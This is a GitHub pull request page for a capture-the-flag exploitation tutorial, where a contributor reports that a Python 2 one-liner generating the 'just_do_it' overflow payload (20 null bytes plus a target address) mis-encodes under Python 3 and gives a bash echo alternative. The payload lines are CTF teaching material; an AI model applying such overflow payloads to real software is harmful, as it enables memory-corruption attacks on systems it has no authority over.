Skip to content

Add python3 example and update payload test code#59

Merged
SmoothHacker merged 1 commit intoguyinatuxedo:masterfrom
DevelopMan:add_python3_example_to_tw17_justdoit_code
Feb 8, 2026
Merged

Add python3 example and update payload test code#59
SmoothHacker merged 1 commit intoguyinatuxedo:masterfrom
DevelopMan:add_python3_example_to_tw17_justdoit_code

Conversation

@DevelopMan
Copy link
Contributor

I found an issue with an example that uses this code:

python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"'

It didn't work for me with pythons 3:

python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"'

$ hexdump -C test_binary
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 c2 80 c2 a0  04 08 0a                 |...........|

As we can see we have some bytes that we didn't add.
The solution could be to use python2 or just use bash:

echo -n -e '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa0\x04\x08' > ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa

I also updated the payload script, because for python3 it didn't work either.

@SmoothHacker SmoothHacker merged commit c1d643a into guyinatuxedo:master Feb 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants